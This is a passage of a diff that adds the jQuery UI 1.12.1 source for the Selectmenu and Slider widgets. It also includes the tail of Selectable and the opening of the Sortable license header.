$( ".ui-unselecting", this.element[ 0 ] ).each( function() { + var selectee = $.data( this, "selectable-item" ); + that._removeClass( selectee.$element, "ui-unselecting" ); + selectee.unselecting = false; + selectee.startselected = false; + that._trigger( "unselected", event, { + unselected: selectee.element + } ); + } ); + $( ".ui-selecting", this.element[ 0 ] ).each( function() { + var selectee = $.data( this, "selectable-item" ); + that._removeClass( selectee.$element, "ui-selecting" ) + ._addClass( selectee.$element, "ui-selected" ); + selectee.selecting = false; + selectee.selected = true; + selectee.startselected = true; + that._trigger( "selected", event, { + selected: selectee.element + } ); + } ); + this._trigger( "stop", event ); + + this.helper.remove(); + + return false; + } + +} ); + + +/*! + * jQuery UI Selectmenu 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Selectmenu +//>>group: Widgets +// jscs:disable maximumLineLength +//>>description: Duplicates and extends the functionality of a native HTML select element, allowing it to be customizable in behavior and appearance far beyond the limitations of a native select. +// jscs:enable maximumLineLength +//>>docs: http://api.jqueryui.com/selectmenu/ +//>>demos: http://jqueryui.com/selectmenu/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/selectmenu.css, ../../themes/base/button.css +//>>css.theme: ../../themes/base/theme.css + + + +var widgetsSelectmenu = $.widget( "ui.selectmenu", [ $.ui.formResetMixin, { + version: "1.12.1", + defaultElement: "<select>", + options: { + appendTo: null, + classes: { + "ui-selectmenu-button-open": "ui-corner-top", + "ui-selectmenu-button-closed": "ui-corner-all" + }, + disabled: null, + icons: { + button: "ui-icon-triangle-1-s" + }, + position: { + my: "left top", + at: "left bottom", + collision: "none" + }, + width: false, + + // Callbacks + change: null, + close: null, + focus: null, + open: null, + select: null + }, + + _create: function() { + var selectmenuId = this.element.uniqueId().attr( "id" ); + this.ids = { + element: selectmenuId, + button: selectmenuId + "-button", + menu: selectmenuId + "-menu" + }; + + this._drawButton(); + this._drawMenu(); + this._bindFormResetHandler(); + + this._rendered = false; + this.menuItems = $(); + }, + + _drawButton: function() { + var icon, + that = this, + item = this._parseOption( + this.element.find( "option:selected" ), + this.element[ 0 ].selectedIndex + ); + + // Associate existing label with the new button + this.labels = this.element.labels().attr( "for", this.ids.button ); + this._on( this.labels, { + click: function( event ) { + this.button.focus(); + event.preventDefault(); + } + } ); + + // Hide original select element + this.element.hide(); + + // Create button + this.button = $( "<span>", { + tabindex: this.options.disabled ? -1 : 0, + id: this.ids.button, + role: "combobox", + "aria-expanded": "false", + "aria-autocomplete": "list", + "aria-owns": this.ids.menu, + "aria-haspopup": "true", + title: this.element.attr( "title" ) + } ) + .insertAfter( this.element ); + + this._addClass( this.button, "ui-selectmenu-button ui-selectmenu-button-closed", + "ui-button ui-widget" ); + + icon = $( "<span>" ).appendTo( this.button ); + this._addClass( icon, "ui-selectmenu-icon", "ui-icon " + this.options.icons.button ); + this.buttonItem = this._renderButtonItem( item ) + .appendTo( this.button ); + + if ( this.options.width !== false ) { + this._resizeButton(); + } + + this._on( this.button, this._buttonEvents ); + this.button.one( "focusin", function() { + + // Delay rendering the menu items until the button receives focus. + // The menu may have already been rendered via a programmatic open. + if ( !that._rendered ) { + that._refreshMenu(); + } + } ); + }, + + _drawMenu: function() { + var that = this; + + // Create menu + this.menu = $( "<ul>", { + "aria-hidden": "true", + "aria-labelledby": this.ids.button, + id: this.ids.menu + } ); + + // Wrap menu + this.menuWrap = $( "<div>" ).append( this.menu ); + this._addClass( this.menuWrap, "ui-selectmenu-menu", "ui-front" ); + this.menuWrap.appendTo( this._appendTo() ); + + // Initialize menu widget + this.menuInstance = this.menu + .menu( { + classes: { + "ui-menu": "ui-corner-bottom" + }, + role: "listbox", + select: function( event, ui ) { + event.preventDefault(); + + // Support: IE8 + // If the item was selected via a click, the text selection + // will be destroyed in IE + that._setSelection(); + + that._select( ui.item.data( "ui-selectmenu-item" ), event ); + }, + focus: function( event, ui ) { + var item = ui.item.data( "ui-selectmenu-item" ); + + // Prevent inital focus from firing and check if its a newly focused item + if ( that.focusIndex != null && item.index !== that.focusIndex ) { + that._trigger( "focus", event, { item: item } ); + if ( !that.isOpen ) { + that._select( item, event ); + } + } + that.focusIndex = item.index; + + that.button.attr( "aria-activedescendant", + that.menuItems.eq( item.index ).attr( "id" ) ); + } + } ) + .menu( "instance" ); + + // Don't close the menu on mouseleave + this.menuInstance._off( this.menu, "mouseleave" ); + + // Cancel the menu's collapseAll on document click + this.menuInstance._closeOnDocumentClick = function() { + return false; + }; + + // Selects often contain empty items, but never contain dividers + this.menuInstance._isDivider = function() { + return false; + }; + }, + + refresh: function() { + this._refreshMenu(); + this.buttonItem.replaceWith( + this.buttonItem = this._renderButtonItem( + + // Fall back to an empty object in case there are no options + this._getSelectedItem().data( "ui-selectmenu-item" ) || {} + ) + ); + if ( this.options.width === null ) { + this._resizeButton(); + } + }, + + _refreshMenu: function() { + var item, + options = this.element.find( "option" ); + + this.menu.empty(); + + this._parseOptions( options ); + this._renderMenu( this.menu, this.items ); + + this.menuInstance.refresh(); + this.menuItems = this.menu.find( "li" ) + .not( ".ui-selectmenu-optgroup" ) + .find( ".ui-menu-item-wrapper" ); + + this._rendered = true; + + if ( !options.length ) { + return; + } + + item = this._getSelectedItem(); + + // Update the menu to have the correct item focused + this.menuInstance.focus( null, item ); + this._setAria( item.data( "ui-selectmenu-item" ) ); + + // Set disabled state + this._setOption( "disabled", this.element.prop( "disabled" ) ); + }, + + open: function( event ) { + if ( this.options.disabled ) { + return; + } + + // If this is the first time the menu is being opened, render the items + if ( !this._rendered ) { + this._refreshMenu(); + } else { + + // Menu clears focus on close, reset focus to selected item + this._removeClass( this.menu.find( ".ui-state-active" ), null, "ui-state-active" ); + this.menuInstance.focus( null, this._getSelectedItem() ); + } + + // If there are no options, don't open the menu + if ( !this.menuItems.length ) { + return; + } + + this.isOpen = true; + this._toggleAttr(); + this._resizeMenu(); + this._position(); + + this._on( this.document, this._documentClick ); + + this._trigger( "open", event ); + }, + + _position: function() { + this.menuWrap.position( $.extend( { of: this.button }, this.options.position ) ); + }, + + close: function( event ) { + if ( !this.isOpen ) { + return; + } + + this.isOpen = false; + this._toggleAttr(); + + this.range = null; + this._off( this.document ); + + this._trigger( "close", event ); + }, + + widget: function() { + return this.button; + }, + + menuWidget: function() { + return this.menu; + }, + + _renderButtonItem: function( item ) { + var buttonItem = $( "<span>" ); + + this._setText( buttonItem, item.label ); + this._addClass( buttonItem, "ui-selectmenu-text" ); + + return buttonItem; + }, + + _renderMenu: function( ul, items ) { + var that = this, + currentOptgroup = ""; + + $.each( items, function( index, item ) { + var li; + + if ( item.optgroup !== currentOptgroup ) { + li = $( "<li>", { + text: item.optgroup + } ); + that._addClass( li, "ui-selectmenu-optgroup", "ui-menu-divider" + + ( item.element.parent( "optgroup" ).prop( "disabled" ) ? + " ui-state-disabled" : + "" ) ); + + li.appendTo( ul ); + + currentOptgroup = item.optgroup; + } + + that._renderItemData( ul, item ); + } ); + }, + + _renderItemData: function( ul, item ) { + return this._renderItem( ul, item ).data( "ui-selectmenu-item", item ); + }, + + _renderItem: function( ul, item ) { + var li = $( "<li>" ), + wrapper = $( "<div>", { + title: item.element.attr( "title" ) + } ); + + if ( item.disabled ) { + this._addClass( li, null, "ui-state-disabled" ); + } + this._setText( wrapper, item.label ); + + return li.append( wrapper ).appendTo( ul ); + }, + + _setText: function( element, value ) { + if ( value ) { + element.text( value ); + } else { + element.html( " " ); + } + }, + + _move: function( direction, event ) { + var item, next, + filter = ".ui-menu-item"; + + if ( this.isOpen ) { + item = this.menuItems.eq( this.focusIndex ).parent( "li" ); + } else { + item = this.menuItems.eq( this.element[ 0 ].selectedIndex ).parent( "li" ); + filter += ":not(.ui-state-disabled)"; + } + + if ( direction === "first" || direction === "last" ) { + next = item[ direction === "first" ? "prevAll" : "nextAll" ]( filter ).eq( -1 ); + } else { + next = item[ direction + "All" ]( filter ).eq( 0 ); + } + + if ( next.length ) { + this.menuInstance.focus( event, next ); + } + }, + + _getSelectedItem: function() { + return this.menuItems.eq( this.element[ 0 ].selectedIndex ).parent( "li" ); + }, + + _toggle: function( event ) { + this[ this.isOpen ? "close" : "open" ]( event ); + }, + + _setSelection: function() { + var selection; + + if ( !this.range ) { + return; + } + + if ( window.getSelection ) { + selection = window.getSelection(); + selection.removeAllRanges(); + selection.addRange( this.range ); + + // Support: IE8 + } else { + this.range.select(); + } + + // Support: IE + // Setting the text selection kills the button focus in IE, but + // restoring the focus doesn't kill the selection. + this.button.focus(); + }, + + _documentClick: { + mousedown: function( event ) { + if ( !this.isOpen ) { + return; + } + + if ( !$( event.target ).closest( ".ui-selectmenu-menu, #" + + $.ui.escapeSelector( this.ids.button ) ).length ) { + this.close( event ); + } + } + }, + + _buttonEvents: { + + // Prevent text selection from being reset when interacting with the selectmenu (#10144) + mousedown: function() { + var selection; + + if ( window.getSelection ) { + selection = window.getSelection(); + if ( selection.rangeCount ) { + this.range = selection.getRangeAt( 0 ); + } + + // Support: IE8 + } else { + this.range = document.selection.createRange(); + } + }, + + click: function( event ) { + this._setSelection(); + this._toggle( event ); + }, + + keydown: function( event ) { + var preventDefault = true; + switch ( event.keyCode ) { + case $.ui.keyCode.TAB: + case $.ui.keyCode.ESCAPE: + this.close( event ); + preventDefault = false; + break; + case $.ui.keyCode.ENTER: + if ( this.isOpen ) { + this._selectFocusedItem( event ); + } + break; + case $.ui.keyCode.UP: + if ( event.altKey ) { + this._toggle( event ); + } else { + this._move( "prev", event ); + } + break; + case $.ui.keyCode.DOWN: + if ( event.altKey ) { + this._toggle( event ); + } else { + this._move( "next", event ); + } + break; + case $.ui.keyCode.SPACE: + if ( this.isOpen ) { + this._selectFocusedItem( event ); + } else { + this._toggle( event ); + } + break; + case $.ui.keyCode.LEFT: + this._move( "prev", event ); + break; + case $.ui.keyCode.RIGHT: + this._move( "next", event ); + break; + case $.ui.keyCode.HOME: + case $.ui.keyCode.PAGE_UP: + this._move( "first", event ); + break; + case $.ui.keyCode.END: + case $.ui.keyCode.PAGE_DOWN: + this._move( "last", event ); + break; + default: + this.menu.trigger( event ); + preventDefault = false; + } + + if ( preventDefault ) { + event.preventDefault(); + } + } + }, + + _selectFocusedItem: function( event ) { + var item = this.menuItems.eq( this.focusIndex ).parent( "li" ); + if ( !item.hasClass( "ui-state-disabled" ) ) { + this._select( item.data( "ui-selectmenu-item" ), event ); + } + }, + + _select: function( item, event ) { + var oldIndex = this.element[ 0 ].selectedIndex; + + // Change native select element + this.element[ 0 ].selectedIndex = item.index; + this.buttonItem.replaceWith( this.buttonItem = this._renderButtonItem( item ) ); + this._setAria( item ); + this._trigger( "select", event, { item: item } ); + + if ( item.index !== oldIndex ) { + this._trigger( "change", event, { item: item } ); + } + + this.close( event ); + }, + + _setAria: function( item ) { + var id = this.menuItems.eq( item.index ).attr( "id" ); + + this.button.attr( { + "aria-labelledby": id, + "aria-activedescendant": id + } ); + this.menu.attr( "aria-activedescendant", id ); + }, + + _setOption: function( key, value ) { + if ( key === "icons" ) { + var icon = this.button.find( "span.ui-icon" ); + this._removeClass( icon, null, this.options.icons.button ) + ._addClass( icon, null, value.button ); + } + + this._super( key, value ); + + if ( key === "appendTo" ) { + this.menuWrap.appendTo( this._appendTo() ); + } + + if ( key === "width" ) { + this._resizeButton(); + } + }, + + _setOptionDisabled: function( value ) { + this._super( value ); + + this.menuInstance.option( "disabled", value ); + this.button.attr( "aria-disabled", value ); + this._toggleClass( this.button, null, "ui-state-disabled", value ); + + this.element.prop( "disabled", value ); + if ( value ) { + this.button.attr( "tabindex", -1 ); + this.close(); + } else { + this.button.attr( "tabindex", 0 ); + } + }, + + _appendTo: function() { + var element = this.options.appendTo; + + if ( element ) { + element = element.jquery || element.nodeType ? + $( element ) : + this.document.find( element ).eq( 0 ); + } + + if ( !element || !element[ 0 ] ) { + element = this.element.closest( ".ui-front, dialog" ); + } + + if ( !element.length ) { + element = this.document[ 0 ].body; + } + + return element; + }, + + _toggleAttr: function() { + this.button.attr( "aria-expanded", this.isOpen ); + + // We can't use two _toggleClass() calls here, because we need to make sure + // we always remove classes first and add them second, otherwise if both classes have the + // same theme class, it will be removed after we add it. + this._removeClass( this.button, "ui-selectmenu-button-" + + ( this.isOpen ? "closed" : "open" ) ) + ._addClass( this.button, "ui-selectmenu-button-" + + ( this.isOpen ? "open" : "closed" ) ) + ._toggleClass( this.menuWrap, "ui-selectmenu-open", null, this.isOpen ); + + this.menu.attr( "aria-hidden", !this.isOpen ); + }, + + _resizeButton: function() { + var width = this.options.width; + + // For `width: false`, just remove inline style and stop + if ( width === false ) { + this.button.css( "width", "" ); + return; + } + + // For `width: null`, match the width of the original element + if ( width === null ) { + width = this.element.show().outerWidth(); + this.element.hide(); + } + + this.button.outerWidth( width ); + }, + + _resizeMenu: function() { + this.menu.outerWidth( Math.max( + this.button.outerWidth(), + + // Support: IE10 + // IE10 wraps long text (possibly a rounding bug) + // so we add 1px to avoid the wrapping + this.menu.width( "" ).outerWidth() + 1 + ) ); + }, + + _getCreateOptions: function() { + var options = this._super(); + + options.disabled = this.element.prop( "disabled" ); + + return options; + }, + + _parseOptions: function( options ) { + var that = this, + data = []; + options.each( function( index, item ) { + data.push( that._parseOption( $( item ), index ) ); + } ); + this.items = data; + }, + + _parseOption: function( option, index ) { + var optgroup = option.parent( "optgroup" ); + + return { + element: option, + index: index, + value: option.val(), + label: option.text(), + optgroup: optgroup.attr( "label" ) || "", + disabled: optgroup.prop( "disabled" ) || option.prop( "disabled" ) + }; + }, + + _destroy: function() { + this._unbindFormResetHandler(); + this.menuWrap.remove(); + this.button.remove(); + this.element.show(); + this.element.removeUniqueId(); + this.labels.attr( "for", this.ids.element ); + } +} ] ); + + +/*! + * jQuery UI Slider 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Slider +//>>group: Widgets +//>>description: Displays a flexible slider with ranges and accessibility via keyboard. +//>>docs: http://api.jqueryui.com/slider/ +//>>demos: http://jqueryui.com/slider/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/slider.css +//>>css.theme: ../../themes/base/theme.css + + + +var widgetsSlider = $.widget( "ui.slider", $.ui.mouse, { + version: "1.12.1", + widgetEventPrefix: "slide", + + options: { + animate: false, + classes: { + "ui-slider": "ui-corner-all", + "ui-slider-handle": "ui-corner-all", + + // Note: ui-widget-header isn't the most fittingly semantic framework class for this + // element, but worked best visually with a variety of themes + "ui-slider-range": "ui-corner-all ui-widget-header" + }, + distance: 0, + max: 100, + min: 0, + orientation: "horizontal", + range: false, + step: 1, + value: 0, + values: null, + + // Callbacks + change: null, + slide: null, + start: null, + stop: null + }, + + // Number of pages in a slider + // (how many times can you page up/down to go through the whole range) + numPages: 5, + + _create: function() { + this._keySliding = false; + this._mouseSliding = false; + this._animateOff = true; + this._handleIndex = null; + this._detectOrientation(); + this._mouseInit(); + this._calculateNewMax(); + + this._addClass( "ui-slider ui-slider-" + this.orientation, + "ui-widget ui-widget-content" ); + + this._refresh(); + + this._animateOff = false; + }, + + _refresh: function() { + this._createRange(); + this._createHandles(); + this._setupEvents(); + this._refreshValue(); + }, + + _createHandles: function() { + var i, handleCount, + options = this.options, + existingHandles = this.element.find( ".ui-slider-handle" ), + handle = "<span tabindex='0'></span>", + handles = []; + + handleCount = ( options.values && options.values.length ) || 1; + + if ( existingHandles.length > handleCount ) { + existingHandles.slice( handleCount ).remove(); + existingHandles = existingHandles.slice( 0, handleCount ); + } + + for ( i = existingHandles.length; i < handleCount; i++ ) { + handles.push( handle ); + } + + this.handles = existingHandles.add( $( handles.join( "" ) ).appendTo( this.element ) ); + + this._addClass( this.handles, "ui-slider-handle", "ui-state-default" ); + + this.handle = this.handles.eq( 0 ); + + this.handles.each( function( i ) { + $( this ) + .data( "ui-slider-handle-index", i ) + .attr( "tabIndex", 0 ); + } ); + }, + + _createRange: function() { + var options = this.options; + + if ( options.range ) { + if ( options.range === true ) { + if ( !options.values ) { + options.values = [ this._valueMin(), this._valueMin() ]; + } else if ( options.values.length && options.values.length !== 2 ) { + options.values = [ options.values[ 0 ], options.values[ 0 ] ]; + } else if ( $.isArray( options.values ) ) { + options.values = options.values.slice( 0 ); + } + } + + if ( !this.range || !this.range.length ) { + this.range = $( "<div>" ) + .appendTo( this.element ); + + this._addClass( this.range, "ui-slider-range" ); + } else { + this._removeClass( this.range, "ui-slider-range-min ui-slider-range-max" ); + + // Handle range switching from true to min/max + this.range.css( { + "left": "", + "bottom": "" + } ); + } + if ( options.range === "min" || options.range === "max" ) { + this._addClass( this.range, "ui-slider-range-" + options.range ); + } + } else { + if ( this.range ) { + this.range.remove(); + } + this.range = null; + } + }, + + _setupEvents: function() { + this._off( this.handles ); + this._on( this.handles, this._handleEvents ); + this._hoverable( this.handles ); + this._focusable( this.handles ); + }, + + _destroy: function() { + this.handles.remove(); + if ( this.range ) { + this.range.remove(); + } + + this._mouseDestroy(); + }, + + _mouseCapture: function( event ) { + var position, normValue, distance, closestHandle, index, allowed, offset, mouseOverHandle, + that = this, + o = this.options; + + if ( o.disabled ) { + return false; + } + + this.elementSize = { + width: this.element.outerWidth(), + height: this.element.outerHeight() + }; + this.elementOffset = this.element.offset(); + + position = { x: event.pageX, y: event.pageY }; + normValue = this._normValueFromMouse( position ); + distance = this._valueMax() - this._valueMin() + 1; + this.handles.each( function( i ) { + var thisDistance = Math.abs( normValue - that.values( i ) ); + if ( ( distance > thisDistance ) || + ( distance === thisDistance && + ( i === that._lastChangedValue || that.values( i ) === o.min ) ) ) { + distance = thisDistance; + closestHandle = $( this ); + index = i; + } + } ); + + allowed = this._start( event, index ); + if ( allowed === false ) { + return false; + } + this._mouseSliding = true; + + this._handleIndex = index; + + this._addClass( closestHandle, null, "ui-state-active" ); + closestHandle.trigger( "focus" ); + + offset = closestHandle.offset(); + mouseOverHandle = !$( event.target ).parents().addBack().is( ".ui-slider-handle" ); + this._clickOffset = mouseOverHandle ? { left: 0, top: 0 } : { + left: event.pageX - offset.left - ( closestHandle.width() / 2 ), + top: event.pageY - offset.top - + ( closestHandle.height() / 2 ) - + ( parseInt( closestHandle.css( "borderTopWidth" ), 10 ) || 0 ) - + ( parseInt( closestHandle.css( "borderBottomWidth" ), 10 ) || 0 ) + + ( parseInt( closestHandle.css( "marginTop" ), 10 ) || 0 ) + }; + + if ( !this.handles.hasClass( "ui-state-hover" ) ) { + this._slide( event, index, normValue ); + } + this._animateOff = true; + return true; + }, + + _mouseStart: function() { + return true; + }, + + _mouseDrag: function( event ) { + var position = { x: event.pageX, y: event.pageY }, + normValue = this._normValueFromMouse( position ); + + this._slide( event, this._handleIndex, normValue ); + + return false; + }, + + _mouseStop: function( event ) { + this._removeClass( this.handles, null, "ui-state-active" ); + this._mouseSliding = false; + + this._stop( event, this._handleIndex ); + this._change( event, this._handleIndex ); + + this._handleIndex = null; + this._clickOffset = null; + this._animateOff = false; + + return false; + }, + + _detectOrientation: function() { + this.orientation = ( this.options.orientation === "vertical" ) ? "vertical" : "horizontal"; + }, + + _normValueFromMouse: function( position ) { + var pixelTotal, + pixelMouse, + percentMouse, + valueTotal, + valueMouse; + + if ( this.orientation === "horizontal" ) { + pixelTotal = this.elementSize.width; + pixelMouse = position.x - this.elementOffset.left - + ( this._clickOffset ? this._clickOffset.left : 0 ); + } else { + pixelTotal = this.elementSize.height; + pixelMouse = position.y - this.elementOffset.top - + ( this._clickOffset ? this._clickOffset.top : 0 ); + } + + percentMouse = ( pixelMouse / pixelTotal ); + if ( percentMouse > 1 ) { + percentMouse = 1; + } + if ( percentMouse < 0 ) { + percentMouse = 0; + } + if ( this.orientation === "vertical" ) { + percentMouse = 1 - percentMouse; + } + + valueTotal = this._valueMax() - this._valueMin(); + valueMouse = this._valueMin() + percentMouse * valueTotal; + + return this._trimAlignValue( valueMouse ); + }, + + _uiHash: function( index, value, values ) { + var uiHash = { + handle: this.handles[ index ], + handleIndex: index, + value: value !== undefined ? value : this.value() + }; + + if ( this._hasMultipleValues() ) { + uiHash.value = value !== undefined ? value : this.values( index ); + uiHash.values = values || this.values(); + } + + return uiHash; + }, + + _hasMultipleValues: function() { + return this.options.values && this.options.values.length; + }, + + _start: function( event, index ) { + return this._trigger( "start", event, this._uiHash( index ) ); + }, + + _slide: function( event, index, newVal ) { + var allowed, otherVal, + currentValue = this.value(), + newValues = this.values(); + + if ( this._hasMultipleValues() ) { + otherVal = this.values( index ? 0 : 1 ); + currentValue = this.values( index ); + + if ( this.options.values.length === 2 && this.options.range === true ) { + newVal = index === 0 ? Math.min( otherVal, newVal ) : Math.max( otherVal, newVal ); + } + + newValues[ index ] = newVal; + } + + if ( newVal === currentValue ) { + return; + } + + allowed = this._trigger( "slide", event, this._uiHash( index, newVal, newValues ) ); + + // A slide can be canceled by returning false from the slide callback + if ( allowed === false ) { + return; + } + + if ( this._hasMultipleValues() ) { + this.values( index, newVal ); + } else { + this.value( newVal ); + } + }, + + _stop: function( event, index ) { + this._trigger( "stop", event, this._uiHash( index ) ); + }, + + _change: function( event, index ) { + if ( !this._keySliding && !this._mouseSliding ) { + + //store the last changed value index for reference when handles overlap + this._lastChangedValue = index; + this._trigger( "change", event, this._uiHash( index ) ); + } + }, + + value: function( newValue ) { + if ( arguments.length ) { + this.options.value = this._trimAlignValue( newValue ); + this._refreshValue(); + this._change( null, 0 ); + return; + } + + return this._value(); + }, + + values: function( index, newValue ) { + var vals, + newValues, + i; + + if ( arguments.length > 1 ) { + this.options.values[ index ] = this._trimAlignValue( newValue ); + this._refreshValue(); + this._change( null, index ); + return; + } + + if ( arguments.length ) { + if ( $.isArray( arguments[ 0 ] ) ) { + vals = this.options.values; + newValues = arguments[ 0 ]; + for ( i = 0; i < vals.length; i += 1 ) { + vals[ i ] = this._trimAlignValue( newValues[ i ] ); + this._change( null, i ); + } + this._refreshValue(); + } else { + if ( this._hasMultipleValues() ) { + return this._values( index ); + } else { + return this.value(); + } + } + } else { + return this._values(); + } + }, + + _setOption: function( key, value ) { + var i, + valsLength = 0; + + if ( key === "range" && this.options.range === true ) { + if ( value === "min" ) { + this.options.value = this._values( 0 ); + this.options.values = null; + } else if ( value === "max" ) { + this.options.value = this._values( this.options.values.length - 1 ); + this.options.values = null; + } + } + + if ( $.isArray( this.options.values ) ) { + valsLength = this.options.values.length; + } + + this._super( key, value ); + + switch ( key ) { + case "orientation": + this._detectOrientation(); + this._removeClass( "ui-slider-horizontal ui-slider-vertical" ) + ._addClass( "ui-slider-" + this.orientation ); + this._refreshValue(); + if ( this.options.range ) { + this._refreshRange( value ); + } + + // Reset positioning from previous orientation + this.handles.css( value === "horizontal" ? "bottom" : "left", "" ); + break; + case "value": + this._animateOff = true; + this._refreshValue(); + this._change( null, 0 ); + this._animateOff = false; + break; + case "values": + this._animateOff = true; + this._refreshValue(); + + // Start from the last handle to prevent unreachable handles (#9046) + for ( i = valsLength - 1; i >= 0; i-- ) { + this._change( null, i ); + } + this._animateOff = false; + break; + case "step": + case "min": + case "max": + this._animateOff = true; + this._calculateNewMax(); + this._refreshValue(); + this._animateOff = false; + break; + case "range": + this._animateOff = true; + this._refresh(); + this._animateOff = false; + break; + } + }, + + _setOptionDisabled: function( value ) { + this._super( value ); + + this._toggleClass( null, "ui-state-disabled", !!value ); + }, + + //internal value getter + // _value() returns value trimmed by min and max, aligned by step + _value: function() { + var val = this.options.value; + val = this._trimAlignValue( val ); + + return val; + }, + + //internal values getter + // _values() returns array of values trimmed by min and max, aligned by step + // _values( index ) returns single value trimmed by min and max, aligned by step + _values: function( index ) { + var val, + vals, + i; + + if ( arguments.length ) { + val = this.options.values[ index ]; + val = this._trimAlignValue( val ); + + return val; + } else if ( this._hasMultipleValues() ) { + + // .slice() creates a copy of the array + // this copy gets trimmed by min and max and then returned + vals = this.options.values.slice(); + for ( i = 0; i < vals.length; i += 1 ) { + vals[ i ] = this._trimAlignValue( vals[ i ] ); + } + + return vals; + } else { + return []; + } + }, + + // Returns the step-aligned value that val is closest to, between (inclusive) min and max + _trimAlignValue: function( val ) { + if ( val <= this._valueMin() ) { + return this._valueMin(); + } + if ( val >= this._valueMax() ) { + return this._valueMax(); + } + var step = ( this.options.step > 0 ) ? this.options.step : 1, + valModStep = ( val - this._valueMin() ) % step, + alignValue = val - valModStep; + + if ( Math.abs( valModStep ) * 2 >= step ) { + alignValue += ( valModStep > 0 ) ? step : ( -step ); + } + + // Since JavaScript has problems with large floats, round + // the final value to 5 digits after the decimal point (see #4124) + return parseFloat( alignValue.toFixed( 5 ) ); + }, + + _calculateNewMax: function() { + var max = this.options.max, + min = this._valueMin(), + step = this.options.step, + aboveMin = Math.round( ( max - min ) / step ) * step; + max = aboveMin + min; + if ( max > this.options.max ) { + + //If max is not divisible by step, rounding off may increase its value + max -= step; + } + this.max = parseFloat( max.toFixed( this._precision() ) ); + }, + + _precision: function() { + var precision = this._precisionOf( this.options.step ); + if ( this.options.min !== null ) { + precision = Math.max( precision, this._precisionOf( this.options.min ) ); + } + return precision; + }, + + _precisionOf: function( num ) { + var str = num.toString(), + decimal = str.indexOf( "." ); + return decimal === -1 ? 0 : str.length - decimal - 1; + }, + + _valueMin: function() { + return this.options.min; + }, + + _valueMax: function() { + return this.max; + }, + + _refreshRange: function( orientation ) { + if ( orientation === "vertical" ) { + this.range.css( { "width": "", "left": "" } ); + } + if ( orientation === "horizontal" ) { + this.range.css( { "height": "", "bottom": "" } ); + } + }, + + _refreshValue: function() { + var lastValPercent, valPercent, value, valueMin, valueMax, + oRange = this.options.range, + o = this.options, + that = this, + animate = ( !this._animateOff ) ? o.animate : false, + _set = {}; + + if ( this._hasMultipleValues() ) { + this.handles.each( function( i ) { + valPercent = ( that.values( i ) - that._valueMin() ) / ( that._valueMax() - + that._valueMin() ) * 100; + _set[ that.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%"; + $( this ).stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate ); + if ( that.options.range === true ) { + if ( that.orientation === "horizontal" ) { + if ( i === 0 ) { + that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { + left: valPercent + "%" + }, o.animate ); + } + if ( i === 1 ) { + that.range[ animate ? "animate" : "css" ]( { + width: ( valPercent - lastValPercent ) + "%" + }, { + queue: false, + duration: o.animate + } ); + } + } else { + if ( i === 0 ) { + that.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { + bottom: ( valPercent ) + "%" + }, o.animate ); + } + if ( i === 1 ) { + that.range[ animate ? "animate" : "css" ]( { + height: ( valPercent - lastValPercent ) + "%" + }, { + queue: false, + duration: o.animate + } ); + } + } + } + lastValPercent = valPercent; + } ); + } else { + value = this.value(); + valueMin = this._valueMin(); + valueMax = this._valueMax(); + valPercent = ( valueMax !== valueMin ) ? + ( value - valueMin ) / ( valueMax - valueMin ) * 100 : + 0; + _set[ this.orientation === "horizontal" ? "left" : "bottom" ] = valPercent + "%"; + this.handle.stop( 1, 1 )[ animate ? "animate" : "css" ]( _set, o.animate ); + + if ( oRange === "min" && this.orientation === "horizontal" ) { + this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { + width: valPercent + "%" + }, o.animate ); + } + if ( oRange === "max" && this.orientation === "horizontal" ) { + this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { + width: ( 100 - valPercent ) + "%" + }, o.animate ); + } + if ( oRange === "min" && this.orientation === "vertical" ) { + this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { + height: valPercent + "%" + }, o.animate ); + } + if ( oRange === "max" && this.orientation === "vertical" ) { + this.range.stop( 1, 1 )[ animate ? "animate" : "css" ]( { + height: ( 100 - valPercent ) + "%" + }, o.animate ); + } + } + }, + + _handleEvents: { + keydown: function( event ) { + var allowed, curVal, newVal, step, + index = $( event.target ).data( "ui-slider-handle-index" ); + + switch ( event.keyCode ) { + case $.ui.keyCode.HOME: + case $.ui.keyCode.END: + case $.ui.keyCode.PAGE_UP: + case $.ui.keyCode.PAGE_DOWN: + case $.ui.keyCode.UP: + case $.ui.keyCode.RIGHT: + case $.ui.keyCode.DOWN: + case $.ui.keyCode.LEFT: + event.preventDefault(); + if ( !this._keySliding ) { + this._keySliding = true; + this._addClass( $( event.target ), null, "ui-state-active" ); + allowed = this._start( event, index ); + if ( allowed === false ) { + return; + } + } + break; + } + + step = this.options.step; + if ( this._hasMultipleValues() ) { + curVal = newVal = this.values( index ); + } else { + curVal = newVal = this.value(); + } + + switch ( event.keyCode ) { + case $.ui.keyCode.HOME: + newVal = this._valueMin(); + break; + case $.ui.keyCode.END: + newVal = this._valueMax(); + break; + case $.ui.keyCode.PAGE_UP: + newVal = this._trimAlignValue( + curVal + ( ( this._valueMax() - this._valueMin() ) / this.numPages ) + ); + break; + case $.ui.keyCode.PAGE_DOWN: + newVal = this._trimAlignValue( + curVal - ( ( this._valueMax() - this._valueMin() ) / this.numPages ) ); + break; + case $.ui.keyCode.UP: + case $.ui.keyCode.RIGHT: + if ( curVal === this._valueMax() ) { + return; + } + newVal = this._trimAlignValue( curVal + step ); + break; + case $.ui.keyCode.DOWN: + case $.ui.keyCode.LEFT: + if ( curVal === this._valueMin() ) { + return; + } + newVal = this._trimAlignValue( curVal - step ); + break; + } + + this._slide( event, index, newVal ); + }, + keyup: function( event ) { + var index = $( event.target ).data( "ui-slider-handle-index" ); + + if ( this._keySliding ) { + this._keySliding = false; + this._stop( event, index ); + this._change( event, index ); + this._removeClass( $( event.target ), null, "ui-state-active" ); + } + } + } +} ); + + +/*! + * jQuery UI Sortable 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT 